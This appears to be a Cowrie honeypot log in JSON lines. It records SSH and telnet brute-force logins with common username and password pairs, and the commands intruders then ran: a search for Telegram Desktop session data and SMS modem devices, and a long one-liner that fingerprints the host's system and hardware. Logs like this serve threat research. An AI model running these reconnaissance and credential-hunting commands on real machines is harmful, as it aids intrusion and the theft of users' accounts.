{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:49.371930Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:49.578394Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:50.015043Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:50.017363Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:50.222348Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:50.661366Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:50.663874Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:50.938783Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:51.391913Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:51.394598Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:51.599589Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":58504,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a78d01c906e","protocol":"ssh","message":"New connection: 160.187.174.22:58504 (159.203.135.109:22) [session: 2a78d01c906e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:52.297782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:52.301738Z","src_ip":"160.187.174.22","session":"2a78d01c906e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:52.551140Z","src_ip":"160.187.174.22","session":"2a78d01c906e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:53.272292Z","src_ip":"160.187.174.22","session":"2a78d01c906e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:58:54.510496Z","src_ip":"160.187.174.22","session":"2a78d01c906e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":42632,"dst_ip":"159.203.135.109","dst_port":22,"session":"394b1b24d79d","protocol":"ssh","message":"New connection: 162.241.129.208:42632 (159.203.135.109:22) [session: 394b1b24d79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:03.724099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:03.731131Z","src_ip":"162.241.129.208","session":"394b1b24d79d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:03.756638Z","src_ip":"162.241.129.208","session":"394b1b24d79d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitfinex123","message":"login attempt [root/bitfinex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:03.836043Z","src_ip":"162.241.129.208","session":"394b1b24d79d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:04.863844Z","src_ip":"162.241.129.208","session":"394b1b24d79d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.568639039993286,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:15.445978Z","src_ip":"170.64.224.25","session":"5c3cbe1501a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34852,"dst_ip":"159.203.135.109","dst_port":22,"session":"41877dfcf3b0","protocol":"ssh","message":"New connection: 160.187.174.22:34852 (159.203.135.109:22) [session: 41877dfcf3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:20.278946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:20.283554Z","src_ip":"160.187.174.22","session":"41877dfcf3b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:20.533685Z","src_ip":"160.187.174.22","session":"41877dfcf3b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:21.267638Z","src_ip":"160.187.174.22","session":"41877dfcf3b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41092,"dst_ip":"159.203.135.109","dst_port":23,"session":"07e8847d2aeb","protocol":"telnet","message":"New connection: 170.64.224.25:41092 (159.203.135.109:23) [session: 07e8847d2aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:22.357206Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:22.515184Z","src_ip":"160.187.174.22","session":"41877dfcf3b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"40.2","message":"Connection lost after 40.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:23.243067Z","src_ip":"115.140.161.61","session":"9d514e163943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.70035481452942,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:28.014546Z","src_ip":"170.64.224.25","session":"1e0464e962ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":52246,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f873d9dd8b","protocol":"ssh","message":"New connection: 91.92.40.4:52246 (10.17.0.5:22) [session: b3f873d9dd8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:35.461163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:35.464600Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:35.544935Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"pass","message":"login attempt [oracle/pass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:35.789495Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.056436Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.058781Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.061317Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.063667Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.065992Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.068943Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.071000Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.073123Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.075600Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.078540Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.081324Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
